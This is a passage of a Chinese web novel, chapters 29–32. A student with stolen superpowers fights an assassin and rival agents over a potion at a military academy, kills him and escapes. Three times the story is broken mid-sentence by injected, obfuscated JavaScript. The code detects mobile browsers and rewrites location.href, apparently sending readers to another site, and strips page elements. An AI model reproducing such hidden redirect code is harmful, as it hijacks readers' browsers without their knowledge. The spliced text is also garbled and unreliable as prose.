这一场，由于秦理失去武器，被直接判负，但获胜方的表情却好像更加难看。 如果说跟左虞珩的格斗，是因为简初将此前多年的格斗经验融入了体术课程里，出其不意取得了胜利，但她和秦理的对战赢得毫无根据。 她从来没系统地学习过用刀。 她看向手里的刀，扭了扭手腕，一个绚丽的刀花绽放开来。 正当她陷入沉思，秦理和左虞珩像突然开了窍一样，又紧紧围了上来。 “你刚刚那一招，再来一遍，我要学！” “我也要学！再揍我……不是，再来打一架！” 简初：“……” 热情守恒定律，当简初失去对战热情时，秦理和左虞珩的热情会得到极大增幅。 于是等几人从全息中心离开的时候，天已经全然黑了，从这里看联邦主星，有一种站在月球上看地球的感觉。 因为这里是通过人造光源二次控制日照时长，所以日子过起来很好适应，就是有时候需要在大白天睡觉，这也是宿舍窗帘贼厚实的原因之一。 在宿舍区大门前跟左虞珩道别，简初和秦理两人很快回到宿舍。 “今天累死了，我得早点休息，明天见。” 秦理一进门就伸了个懒腰。 明天上午是精神控制学院的专业理论课，自从上一次选完实验课的学生之后，剩下的学生陆陆续续都退课了，毕竟他们的本意都不是来学这门课的。 “明天见。” 简初锁上门，将自己扔到椅子上，慢悠悠转了个圈平移到窗前，看着高悬在天空、缓缓移动的联邦主星。 她还有回去的那一天吗？ 简初不免想起在阴暗巷子里发生的事，不知道后面警察有没有抓到凶手，而她究竟是失踪还是死了。 她又发了会呆，接着打了个哈欠，乌托邦链接带来的精神疲惫无法避免，需要睡眠来补充精力。 洗洗睡吧。 “滋滋滋——不好了，苍耳！” 一阵电流声过后，无影的身形突然出现在屋内，没等简初发作，他就一脸焦急地开口了。 “那群鳖孙，他们没把最新动向上报，药剂被人抢了！” 29. 灯下黑（29） 跟无影想象中的反应完全不同，简初丝毫没有着急，只是懒洋洋地应了一声。 “哦，那真是太可惜了。”她睁着三白眼，表情冷淡地看过来，“这就是你突然冒出来的理由吗？第三次？” “不是！”无影匆匆往前走了两步，“现在是说这个的时候吗！你赶紧去看看情况啊！真被抢走就完蛋了！” 简初一脸神奇地看他一眼：“情况？我看什么情况，被抢走就歇菜吧，再说了，要完蛋也轮不到我，而是那些隐瞒消息的傻缺。” 原来欺上瞒下是温弗拉的传统，不理解但尊重。 无影有些卡壳，歪了歪脑袋似乎真的在思考：“你说得有点道理……不对！要是我们把任务拿下，肯定会记大功的！” “哦，那你去吧。” 尽管无影并不是实体，但简初还是选择无情地绕开了他。 “他们隐瞒信息不就是对自己很有信心吗，我这破异能，去送菜啊。” 她一个白眼成功噎住了无影。 “也不会有那么危险……吧？” “呵，不用你去，你当然不危险。”简初旁若无人地收拾东西，“你有功夫跟我在这磨，不如想想其他办法。” 在学校里搞这一出实在是太危险了，一来这里的面积太大，她不可能每时每刻都在使用异能，难保路上不会被监控看到，二来这消息来得太突然，多方争夺之下危机重重，她掌握的情况太少，没有必要蹚这趟浑水。 “呲——噔！” 简初背后寒毛乍起，她脚下迅速向右挪动一步，头微微后仰，一道闪着冷光的箭簇从她的鼻尖擦过，穿过无影的虚影，插在了另一头的房门上，箭羽微微晃动，一息过后突然崩裂开来，化作一摊尘土落在了地上。 场面凝滞了不到一秒，简初迅速关上屋内的灯，紧接着上前两步拉上窗帘，将呈放射性碎裂的窗户拦在后面。 “这是……冲什么来的？” 无影一脸空白，僵硬地转过头看向简初，她此刻正躲在柜子和墙壁的角落里，警惕地听着外面的动静。 “你问我？我还要问你呢！” “噔噔噔~” 欢乐的中奖音乐显然来的不是时候，简初咬紧了牙，仔细倾听系统播报。 “暗涌的漩涡并不会受你的意志左右，现实不允许你选择明哲保身，请不要试图逃避打破平静的争端。” “触发任务：参与争夺，并获得你需要的东西。” “重要说明：请时刻保持警惕。” 打什么哑迷？ 简初咽了口唾沫，让自己的嗓子不要那么干痒，她瞥了一眼无影，对方仍然一脸状况外。 “看来对方已经发现我们参与其中了。”她深吸一口气，眼神锐利，不经意把无影也拉下水，“我需要后援。” “参与这个任务的其他成员，我要跟他们一样的支援保障。” 无影咬咬牙，目光落在虚空中，手指上下翻飞：“我给你申请了临时特权，把你的信物拿出来。” 简初意外于他的好说话，但是现在没有深思的时间，她伸出手，露出被串联在终端上的信物，在两人的注视下，有一面泛出蓝色的荧光。 “信号屏蔽器，这个只能对校内的监控设施起效，记住，绝对绝对，不要进研究所。” 简初毫不犹豫地点开。 “把手伸过来。”无影朝她伸出一只手。 “什么？我碰不到你。”简初皱着眉，手伸过去穿透了无影的手指，下一秒，对方身上的一道白光从指尖延伸而来，直至完全覆盖简初的身体。 “借你用一会。”无影的脸色不太好看，“其他人不会看到你真实的脸和身形，坚持不了太久，一旦身上出现波纹，赶紧离开。” 简初深深看了无影一眼，她没想到对方会做到这个程度，毕竟不久前自己还被他们送上绝路，她很好奇对方是怎样的心态才能这么顺利地接受她。 但现在不是想这些的时候。 她从抽屉里掏出一根有线耳机，从衣服里面穿过去塞进耳朵里，回头指了指耳朵：“有事联络。” 无影点点头，消失在原地。 简初猛地拉开窗户，夜风将窗帘吹起，汹涌而出的精神力将那一个行踪鬼祟的身影渲染出来，下一秒，她的身影消失在原地。 别想逃啊。 …… “人往西北方向去了，靠近二号宿舍区，那边学生太多，你注意隐蔽。” 傅燃迅速朝着耳机中指引的方向而去，如果对方在宿舍区引起骚乱，那就有些难以收场了。 他收到消息后就在研究所附近蹲点，怎么也没发现对方是怎么把东西弄出来的，但现在问这些也来不及了。 “你那边太吵了，找个安静点的地方。” 傅燃皱了皱眉，出声提醒。 “没办法，这边乱成一锅粥了，那个小黄毛眼泪鼻涕一把抓，问一句话打三个嗝。” 耳机那头的人满是抱怨，不过还是依言找了个稍微远离吵闹中心的地方。 “现在指望不上他……啊异能波动匹配到了，果然是通缉犯，炼金术士，异能是【点石成金】，可以将其他物质转化成具有杀伤力的金属冷兵，下手比较刁钻，喜欢暗杀偷袭。” “这代号真够了。” 傅燃没有理会对方的吐槽，迅速提取出重要信息：“异能上限呢？” “没有，他都是暗处一击毙命，没有上限记录。” “啧，我马上到二号宿舍区，同步最新位置。”傅燃表情愈加冷淡，“协会这次就派你一个人，手令呢？” “手令被豹子那边拿去用了，我真是……” 话没说完，耳机里突然吵吵起来，似乎是因为信息没能及时同步，两边吵起嘴来。 傅燃有些头疼，看来暂时是指望不上那边了。他飞快地穿梭在宿舍区旁边的小树林里，观察里面的动静。 “砰！” 他豁然回头，树林里传来巨大的撞击声。 …… 简初选择尽量用闪现赶路，避免在前期消耗掉太多的体力，此刻光线不佳，而且周围障碍物太多，闪现的距离受到了严重的削弱。 她跟目标的距离在不断拉进，但出于谨慎，她还是借周围树木和小型建筑遮挡自己的身形，以防对方放冷箭。 追上了！ 简初看见前面不远处的瘦高身影，眼前一亮，小触手匍匐在草丛里，像一条伺机的蛇，迅速向对方靠近，在草地上压出一道浅坑。 “什么东西！” 一道咒骂的男声清晰地传进简初的耳朵，她心下微微一凛，小触手陡然扬起，弹射到对面的面门。 “铿！”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12151029|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>一面铁质的小盾牌瞬间出现在那人面前，两相碰撞几乎迸出激烈的火花。 他能看到？ 这突如其来的变故让简初颇为头疼，原本的偷袭计划直接宣告破产。 盾牌在一击之下化作齑粉，瘦高男人面露惊恐向后退了一步，十分警惕地环顾四周，生怕从黑暗中再窜出什么来。 尽管他本人热爱偷袭，但是当自己面临暗杀时感觉就不太妙了。 小触手转了一圈，溜到那人背后，他猛地转过头，上瞟下看，却并没有继续释放异能，简初躲在不远处，有些不确定地继续观察情况。 他好像并不能看见，但是会有感应。 简初抿抿唇，脑中飞快转动。 不知道对方是因为什么能感受到小触手，但这警醒了她，也许还会有其他人也能感知，甚至看到小触手，她以后不能肆无忌惮地驱使它。 男人双腿微弯，非常小心地向后退去，一个亮晶晶的光点从他腰间探出来。 菱形药剂瓶的尖端，里面的药剂荡出一点波纹。 简初眼睛一亮，小触手随她心意，一眨眼就探进男人的衣襟，缠上一个冷冰冰的管状物体。 简初：“？” 男人感受到异物偷袭，眼睛都不眨迅速凝结出一根铜管挤掉了药剂瓶所在的位置，而此刻在他眼中，那根铜管正诡异地悬浮在半空中，似乎被人拎了起来。 空中突然出现几根箭簇，停止了半秒蓄力，伴随着破空声骤然射来，小触手匆忙打了个结，勉强躲开，有些气不过地提溜这铜管在空中转了两圈。 “砰！” 铜管还未来得及化成灰烬，就在空中划出优美的抛物线，准确砸在了男人的脑门上，他伸出颤抖的手摸了摸有些麻木的脑袋，鲜血顺着手指淌到了腕骨。 简初冷笑一声，操控小触手再次探向药剂瓶所在的位置，下一秒，身后传来轻微的空气爆裂声。 身后有人！ 简初的注意力瞬间拉回，她猛然转身，向后翻滚拉开距离，一道黑影带着细长的刀刃跟她交错。 头发！ 耳边一缕头发被截断，飘飘悠悠落下的画面在她眼中被慢放，小触手如闪电般窜过来，一把薅走了这撮头发。 这种东西可不能落进对方手里。 简初抬头盯紧对方的动作，这人面容普通到模糊，一转头就能忘个七七八八，她一眼就看出对方跟自己一样，也做了掩饰。 很明显，这人并不是瘦高男人的后援，因为那人此刻正鬼鬼祟祟，捂着腰间的药剂瓶想要离开这里，不过他的脚程相当不够看，没走多远反而吸引了这边两人的注意。 简初跟神秘人对视一眼，立刻达成了短暂的统一——对方很强，拉扯起来浪费时间。 下一秒，简初面前的人影一闪而过，瞬间出现在目标身后，瘦高男人停下脚步，转过头露出有些狰狞的表情，数十支各种样式的武器出现在周围，闪着锐利寒光将他围得水泄不通，阻碍了神秘人接近。 两人瞬间的僵持给了简初机会，小触手从冷兵之间的缝隙迅速游走进去，趁男人注意力被转移之际一把攥住药剂瓶。 拿到了！ 药剂瓶被巨力抽出，在空中高高飞起，系统的播报来得非常及时，但跟简初设想的完全不一样。 “获得物品：特制营养液。” 30. 灯下黑（30） 这可能是简初最想骂人的时候。 被扯出的药剂瓶得到了全场关注，她如坐针毡却只能寄希望于“特制”两个字会带来一些超出寻常的用处。 尽管星网上就有一种叫做“特制营养液”的商品售卖，但简初此刻正试图催眠自己，它们是不一样的。 个鬼啊！ 简初无比清晰地认识到，这所谓的“强体药剂”，极大可能是一个精心设计的圈套，将一群隐藏在暗处的鬣狗全都吸引出来，一网打尽。 如果自己不是其中一员的话，她肯定要为其拍手叫好。 小触手拎着这个烫手山芋，在空中晃晃悠悠不知所措，傅燃眯了眯眼，从他的角度看过去，空中似乎有什么改变了光的折射率，仿佛酷暑蒸腾的热气，在上方扭曲舞动。 这是什么异能？ “豹子他们马上到，你再坚持一会，现在情况怎么样？”耳机里传来询问声，傅燃无暇顾及，浅浅应了，反手振刀，直冲小触手而去。 瘦高男人见药剂被夺，也立刻调转枪头，一时间，简初突然成为了众矢之的。 确认东西不对的瞬间，简初就决定撤退，她的闪现即将刷新完成，小触手打了个卷儿，躲开神秘人的刀锋，一把将药剂瓶摔回了瘦高男人怀里。 同一时间，傅燃的耳机里传来一个沙哑的女声。 “我们到了，现在怎么整？” 傅燃深吸一口气，看着药剂瓶被扔回来，大脑一时闪过许多猜想。 “坐标同步给你，炼金术士和药剂都在这，还有一个不清楚身份的人……” 他还没说完，就看见那人身影闪了闪，瞬间消失在原地。 “他跑了！我去追！” 这一幕瞬间唤起了傅燃在少年救助中心的回忆，短时间内遇到相同异能的人，他很难不去想这是不是同一个人，而刚刚空中看不见的攻击手段明显不在正常范畴。 这人有两个异能！不能放他走！ 简初感受到身后有人追了上来，她暗骂一声，顺带问候了不靠谱的温弗拉。 说曹操，曹操到。她的耳机里突然沙沙作响，紧接着响起无影激动的声音。 “苍耳，定位目标位置了，组织成员都在往那边赶，你也快去！” 简初：“……” 她皮笑肉不笑地咧咧嘴，语气温和地说了句马上就到，随后一把扯掉了耳机。 这人是一点都指望不上。 身后的脚步声越来越近，双方都没有隐藏自己身形的意思，简初感觉自己的肺都要炸开，嘴里充斥着腥甜的气味。 来了。 背后一道冷冽的刀风，简初咬牙向前跨了一大步，小触手缠上不远处的一个巨大的石墩，强行将她拉出了对方的攻击范围，刀光闪过，简初后知后觉地感受到后腰凉凉的，衣服被切出一道口子，夜风往里面直灌，万幸的是没有伤到皮肉。 她站在石墩上方，看不清对面人的面容，但对方冷冽的视线犹如实质刺在她身上。 “你是什么人？”他开口了，果然声音也是经过处理的，毫无辨识度。 简初抿抿唇没有开口，她不确定无影的能力对声音有没有效果。 “灰烬，又有人来了，目标正在往你的方向去。” 傅燃侧了侧头，耳机里的消息让他握紧手里的刀，转身左手从大腿外侧掏出一把枪来，冷淡开口。 “解锁激光枪权限。” 简初耳朵尖动了动，尽管隔着些距离，对方的话语还是被她清晰地捕捉到，就这一瞬间，对方的枪口上已经积蓄起亮白的光球，前所未有的被锁定的危机感油然而生，她来不及细想，从石墩上一跃而下，小触手裹着她在地上翻滚两圈，落在了敌人的右手边。 石块崩裂的声音响起，她下意识看去，原本的石墩侧边出现一个半圆形的焦黑孔洞，裂纹不断扩散，碎石簌簌落下。 显然对方的枪口是跟着她走的，但她快了一步，成功躲开了攻击。 傅燃面色更加冷沉，对方的实力超出了他的预期，而且还是没有记录在册的未知异能。 他预感向来准确，今天这人是留不住了。 身后传来匆忙的、毫无掩饰的脚步声，瘦高男人迅速钻了出来，看清面前的光景，原本还带着些微喜意的面孔顿时凝结了。 怎么又是这两个人？！ 两个同样模糊的面孔朝向他，似乎下一秒就要一起对他触手，瘦高男人心底发毛，心底万分纠结。 前有狼，后有虎，他拼了！ 他迅速往怀里一捞，还带着体温的药剂瓶出现在手里，瓶塞一拔，瓶身一摇，药剂咕噜噜就顺着喉咙淌了下去，竟然一滴都没有漏出来。 哦吼！ 简初突然很想笑，她明白面前的男人想借药剂之力翻盘，再不济也能逃离众人的包围圈。 可是那只是一瓶营养液。 除她之外的几人见状，面色顿时一变，如临大敌般举起手中的武器，对着狞笑的瘦高男人，以防他出现意料之外的变故。 不过没有变化，也算是在意料之外了。 天幕由漆黑转为深蓝，尽管时间还是凌晨，却已经到了学院星的黎明，男人正满怀期待等着药剂生效，自己便可以全身而退。 简初眼珠转了转，这是她跑路的好机会。 “动手。” 神秘人一声令下，简初一个激灵，却看见三道人影默契地朝瘦高男人而去，他们并不知道那药剂只是营养液，为了防止情况超出控制，理所当然地选择了先下手为强。 这时，树林里又钻出两个全副武装的黑衣人，虽然大家都穿的黑衣服，但很明显现场是两拨势力，如果无影的消息准确，这两个应该是温弗拉的成员。 简初并没有闲情逸致跟他们合作，就凭之前隐瞒信息这点，跟他们合作什么时候被卖了都不知道。 瘦高男人驱动异能，狼狈躲避三人的围剿，很明显他们想抓活口，所以下手都比较克制，招招要害但不要命。 “对面有四个人，怎么整？” 温弗拉的两人压低声音，眼神非常警惕地看了过来，也许是因为简初的隐蔽手法跟神秘人很像，理所当然被当成了一伙，这对简初来说并不是坏事。 她迅速往战斗圈外围跑去，只等闪现刷新就可以安全离开这个鬼地方。 “灰烬！收队！研究所那边说药剂是假的！” 傅燃耳机里突然传来后方队友饱含怒气的声音，他的动作顿了顿，林豹双在频道里听见这个消息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12161199|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，怒气值直接拉满。 “放他的狗屁！溜人玩呢？真当我们都是闲的啊！”沙哑的女声像惊雷一样响起。 “已经在跟他们交涉了，我看上头的意思这次得狠咬他们一口。” 协会跟特战中心关系亲近一点，自然跟研究所就有点不对付的意思，但表面的和平还是要维持的。 “把人带回去。” 傅燃迅速下了决断，外来者想要进入联邦军校不是一件容易的事，更何况一个联邦通缉犯，他是怎么悄无声息地进来，还顺利抢走东西的。 温弗拉的成员刚刚露头，就看见药剂被人用掉，不知道前后因果的两人一时不知道该如何决断，对面人数是他们的两倍，强取本就不明智，现在目标任务都消失了，他们难道要把人绑回去？ “要不要请示上级？” 下一秒，瘦高男人的喊声就帮助他们做出了决定。 “你换了我的药剂？！” 他不敢置信地看了看自己的手一声怒吼，所有人的视线都落在简初身上。 简初：“……” 你这是在碰瓷！ 得到消息的傅燃一行人自然不会被这一句话影响，但其他人不同，其中以瘦高男人尤甚。 愤怒加持了他的异能，数道高大的金属墙面拔地而起，凌乱地排布在四周，简初被面前的铁墙挡住去路，下意识后退了一步，想要绕开它。 墙面擦出刺耳的声音，以雷霆之势向同一个方向汇聚。 他想把自己关起来？！ 小触手从迅速移动的铁墙中找到一条出路，闪电般伸出，扣住一棵粗壮的树，就要把简初拉出来，瘦高男人见势，猛地扎了个马步借力，他脸涨得通红，新一道铁墙拔地而起，完全挡住了简初的去路。 “铛！” 余音久久回响，两人被扣在了铁墙内部。 瘦高男人并没有完全失去理智，他目标很明确，想要排除其他人，将臆想中的药剂重新夺回来。 简初看着周围密不透风的金属围墙，终于有些发毛了，知道真相的她并不想逗留在此处，但这些人一个个都盯着她，无影的异能随时可能会失效，她不能再拖了。 简初眼神骤然变冷，现在已经没有交涉的意义，不论她说什么，对方都听不进去，他只会沉浸在自己的想象里，想要夺回并不存在的“强体药剂”。 小触手感受到她的杀意，顿时昂扬起来，它的尖端变得更加锐利，虎视眈眈地弯起，面向另一头的男人。 “把药剂交出来，我饶你一命。” 男人叫嚣着，但他的脸色已经惨白，明显是刚刚最后凝聚的一道铁墙透支了他的异能，他周身环绕的冷兵比刚刚少了一整个数量级。 异能已经刷新完毕，现在杀了他，然后闪现离开。 简初迅速下定决心。 “我们现在怎么办？” 铁墙之外，林豹双将防备的目光投向温弗拉的两人，等待傅燃做决定。 这两人身份不明，显然来者不善，尽管那头一直莫名催促他们收队，但林豹双此刻心头正憋着一股气没处撒。 “呵，”傅燃被今天跌宕起伏的戏剧情节气笑了，他冷沉地看过去，没有一句废话。 “动手。” 31. 灯下黑（31） 瘦高男人十分戒备，虽然数量远不及刚才，但此刻所有的金属兵器全都紧紧围绕着他，不给别人偷袭的机会，但同时也严重削弱了他自己的攻击力。 攻守之势已经十分明朗。 简初没有时间跟他周旋，她身上已经开始出现不稳定的波动，无影的异能已经接近失效的边缘，她重新将耳机塞进耳朵里，通讯迅速被那头接通。 “你还能坚持多久？” “一分钟，最多一分半，你现在在哪？”无影有些着急，“另外两个成员失联了，你还好吗？” 简初掐了个一分钟的表，慢悠悠向一侧踱了两步，瘦高男人一错不错地紧盯着她，努力在感受四处漂移的杀气来源。 小触手从左晃到右，又滚了一圈回到原地，瘦高男人的动作明显比它慢一拍。 “有一群人打起来了，我没敢过去。”简初开口道，对面男人闻言急促地喘了一口气，腰躬得更弯了，听到这句话他意识到，今天自己跟对方之间只能活一个。 这人当着他的面信口开河，明显想杀了他。 “没过去也好，你赶紧回来吧。” 无影的回答出乎意料地充满了人情味，跟她此前对温弗拉的印象完全不一致，不知道的以为他们一直是好同伴呢。 “……好。” 简初挂断通讯，丝毫没有停顿地往瘦高男人方向迈了一步。 “你别过来！把药剂交出来……我、我饶你一命！” 男人看着对面的身影离自己越来越近，周身的铁刺像刺猬一样炸开，虚张声势想要逼退简初。 他突然有些后悔，刚刚自己气血上头，透支异能制造了这个牢笼，却把自己困入险境。 “呲——” 一道细微的破空声从背后传来，简初侧身躲开，金属箭簇从耳边划过，她鬓边的发丝随之扬起。 空气中有什么突然爆开，带着雷霆之势避开群发的箭雨，瞬间冲到男人的心口。 一声尖锐的金属碰撞声，男人瞬间在胸口凝结出一面小盾，小触手狠狠一击没能刺穿他的皮肉，却将他震得连连后退。 他捂住心口匆忙后退，没忍住呕出一口血来，没有多余的时间给他喘息，男人迅速抬起头，防备简初的下一步行动。 抬眼的一瞬间，他瞳孔骤然收缩。 人呢？ 视线之内空无一人，甚至连原来充满杀意的那道无形的攻击源头也消失了。 男人心跳如擂鼓，太阳穴跳了跳，一道黑影出现在他侧面，他面露喜色赶紧转过头去，避免将自己的后背露给敌人。 下一秒，他身侧贴上一个冷冰冰的物体，有人掐住了他的脖子，他想要凝结出盾牌抵挡，但异能好像失效了，是因为他用得太超过了吗？ 他慢慢低下头，看见胸口破开一个圆形的洞，他看不见置身其中的凶器，但□□却能清楚地感知到，有什么刺穿了他的心脏。 小触手紧紧缠绕在简初的右手腕，在她的掌心抽拉成一柄锐利的长刀，跟刚刚神秘人手里提着的那柄几乎一模一样。 男人眼前逐渐黑了下去，他伸手攥住身侧人的衣角，嘴里喃喃：“把……药剂给……我……” 简初松开手，他失去支撑顿时委顿在地。 “解锁能力【点石成金】，请继续努力。” “点石成金：广阔土地蕴含无穷生机，听上去似乎很魔幻，但你可以短暂将土壤改变为任何你想要的金属，但你需要对它们的性质了如指掌。造物脱离控制十秒后将恢复原状。” 这是简初第一个具有真实的杀伤力的异能，她看着脚下的男人，突然觉得他顺眼很多。 她努力压下心头的异样，抬起头，新的铁墙拔地而起，取代了化为尘土的那几面。 她要在这里呆到闪现刷新，外面那几个人的战斗力明显跟这个男人不在一个水平，一旦开打，她几乎没有可能在无影的异能失效前全身而退。 枪声混杂着兵戈撞击声传进她的耳朵，声音的频率越来越小，外面的争斗即将进入尾声，她抬手看看时间，还剩20秒，而她的闪现刷新还要30秒。 中间10秒的时间差，她必须做好准备，如果无影的异能可以多坚持一会当然最好，但她不能将宝全压在他身上。 …… 两道荧光的白色锁链将两人背对背捆在一起，他们每挣扎一下，锁链就缠得更紧，几乎将骨骼都勒到嘎吱作响，两人才放弃。 “能不能……松一点，疼死了……”其中一人喘着粗气，开口求饶道，“我们真的什么都不知道，就是……来取东西的……” 林豹双目光不善地瞥了他一眼：“银蛇，再紧点，他还有功夫说话呢。” 一旁一直没有开口的男人点点头，紧接着两人嘴里传出杀猪般的嚎叫。 “别勒死就行。”她将目光转到高高的铁墙上，“这个怎么处理？” 这会里面听不见什么动静，不知道是什么情况，傅燃深吸了一口气，转头看向安栩：“我要上去看看，帮个忙。” 安栩沉默着点点头，一道白光飞射而出，银色的锁链一圈圈缠绕在铁墙上，将其捆成了一个圆桶。 “随时支援。”傅燃话音刚落，便迅捷地沿着锁链爬上了铁墙顶上。 “你说他用异能了吗？”林豹双眯眯眼，朝安栩凑近了一点，小声八卦道。 安栩眼神平静无波，低低回答：“……不知道。” 林豹双睁着死鱼眼，无奈抱胸，打消了自己八卦的欲望。 简初身上的雪花纹路开始更加频繁地出现，万幸的是无影确实撑过了一分钟，但异能随时都有可能失效。 她撕下瘦高男人的外衣罩在头上，又随手从地上抓了一把土抹在脸上，力求一个六亲不认的打扮。 时间快到了。 她突然感觉到令人毛骨悚然的注视感，简初豁然抬头，就看见一个人影正蹲在铁墙的最顶端，低头看着她。 阴魂不散。 简初冷笑一声，小触手再次钻进她手里，反手一刀戳进脚下男人的身体里，下一秒，铁墙突然崩解。 她不能使用点石成金，这里所有人都见到瘦高男人用过，现在他死了，而自己却能使用这个异能，这显然不正常。 虽然她并不清楚系统吞噬能力的原理，但这绝对不能被其他人知道。 傅燃没想到对方一刀如此果决，他脚下的铁壁突然开始碎裂，他迅速踩上银色锁链才避免了突然下坠，但因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12176640|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为失去了倚靠，锁链也开始向下坠。 他眼神冰冷，抽出刀沿着下落的锁链迅速接近简初，他看出来对方身上的掩饰快要到极限了，只要再拖一会，就能看到真面目。 简初很清楚对方的想法，她利用小触手振开这一刀，迅速跟对方拉开距离，她瞥见身后两人的动作，一旦他们形成围攻，她就很难逃跑了。 小触手拉伸到最大限度，缠上捆绑住温弗拉两人的银色锁链，一个用力，简初和他们朝同个方向飞去，眼见着就要撞在一起。 “他们是一伙的？”林豹双气急，绝对不能让这人把人救走，“银蛇，拦住！” 银色锁链突然变得更加粗壮，将其中两人的面孔勒得近乎紫红，简初露出一丝微笑，清晰地映入傅燃的眼底。 傅燃瞳孔骤缩，瞬间明白了对方的意思：“不对！不要管那两个人！” 晚了。 简初嘴唇微动，却没有发出声音，闪现刷新完成。 她一个挑头，露出让傅燃印象深刻的笑容，同样看不清的面容，同样“挑衅”的微笑。 不过一瞬，身影消失在原地，只留下一地破布。 傅燃收回刀，面上依旧是那副令人读不懂的冷淡，但林豹双感受到他此刻的情绪绝对没有这么平静。 她默默往远离的方向挪了一步。 “把这两人带回去审问，收队。” …… 简初找了一条无人的小道迅速回到宿舍区，掐着闪现刷新的时间又用了一次闪现，直接从窗户进了房间，幸好她所在的楼层不高，不然还得扒拉窗户。 她很鸡贼地在楼下用新到手的异能，随机选了几个幸运儿敲碎了窗玻璃，免得到时候自己一间宿舍出问题，又被重点关注。 她没有碰到散落一地的碎玻璃，显示给无影发了条简讯，接着迅速拿起换洗衣服进了浴室，哗啦啦的水声响起，掩盖了其他宿舍此起彼伏的惊吓声。 “谁啊！大半夜的要死啊！” “砸你个西瓜甜甜圈！还以为自己三岁呢！” “我这周已经换了三次窗户玻璃了！救命啊！” “是谁！偷偷在宿舍里做危险实验！自己下来主动交代！！！” 最后一句余音绕梁的问候来自愤怒的宿管。 简初搓着澡哼着歌，一旁的洗衣机飞速运转，直到里头传来布帛碎裂的声音。 她搓头发的动作僵在原地，顶着一头泡泡掀开了洗衣机的天灵盖，从中间裂开、然后绞在一起的T恤娇羞地跟她打了个招呼。 简初：“……” 她忘记那件衣服后面被人砍了一刀，结果就是它在洗衣机的无情摧残之下终于寿终正寝。 她伸手扒拉了几下，终于将衣服摊开，它现在已经变成两片宽大的布料，靠着中间不足一指宽的一小块连接在一起，但是边缘被刀锋隔开的切口还是过分整齐。 没救了，当抹布都不得行。 确定没有任何拯救的价值，简初喊出小触手，唰唰给破碎的布料又来了两下，直到那道整齐的切口也变得面目全非。 她满意地吹了个口哨，若无其事将衣服塞回了洗衣机。 这衣服质量也太差了，回头得重新买两件。 32. 灯下黑（32） “咚咚咚！” 秦理用力拍着简初的门，嗓门逐渐变大，“简初，你还好吗？宿管说好几个宿舍窗户被人砸了，你没事吧？” 里面没人回应，她又使劲拍了两下，刚下头想要拨打通讯，就听到里面传来一道模糊的声音。 “怎么了？啊！” 惊呼声离门很近，下一秒，房门突然被人打开。 蒸腾的湿漉漉的热气扑面而来，简初一脸莫名其妙地探出头来：“怎么回事，我窗户碎了？” “原来你在洗澡。”秦理无奈地拍上自己的脑门，她刚刚根本没往这个方向想。 “没事就好，宿管通知说好几个房间的窗户被人砸了，我正好想找你聊天，结果你一直不开门，还以为你被误伤了呢。” 秦理做了往外丢东西的手势，目标是简初的脑袋。 “你赶紧去找宿管登记一下，那边正在统计换窗户呢，错过了就要自己掏钱了。” 她眼神上下看了看，落在简初还在滴水的头发上，疑惑开口：“怎么感觉你头发短了一点点？” “啊，感觉发质不太好，洗澡前剪掉了一些。”简初随口答道，“我换个衣服就去，对了你想找我聊什么？” “闲聊而已，也不是什么重要的事。” 秦理的表情确实不着急，她把客厅的清扫工具拿过来，举在手里朝简初示意。 “介意我进去吗？先稍微扫一下，防止扎到脚。” “这倒是不介意，”简初从浴室探出头，“会不会太麻烦你了，我待会自己来就行。” 秦理将脚边的玻璃渣子归集到一起，朝她努努嘴：“先赶紧去登记，等你回来自己收拾。” “好的。” 简初表情严肃地朝她敬了个礼，缩回浴室换衣服了。 …… “幸好你提醒我去登记了，换个玻璃怎么这么贵啊。”简初看了眼星网上的公示，跟秦理小声叨叨。 “有个人之前在宿舍做实验，炸坏了三块玻璃自己花钱偷偷修，被通报了。”简初默默抠了抠手指，“还换了三次，好有钱。” “正常正常，他们搞武器装备的经常有这种高危行为，不过敢在宿舍里干这事的，不会是……”秦理好奇地凑过来看了一眼，一脸了然。 “果然是她啊。” “嗯，你认识的人吗？”简初眨眨眼，里面满是求知欲，秦理有些不自在地拨了拨头发，组织了一下语言。 “怎么说呢，你们学院跟他们没什么交集，没听说过很正常，我们这边大部分人都知道，” 秦理的表情有些难以言喻，“路可娴，热武器专业一姐，擅长自爆。” 简初：“……擅长自爆是？” “装备研究嘛，不小心炸一下很正常的事情啦！”秦理摆摆手，一副“都是小意思”的模样。 “总比送到我们这来之后再炸的好。” “啊哈哈，这倒也是啊。”简初露出一个有些勉强的微笑，这么自然地聊起武器爆炸，会给她一种学校很危险的错觉啊。 呃，学校好像确实不怎么安全。 “她快毕业了，实习应该挣了不少钱，所以几块玻璃算不上什么。” 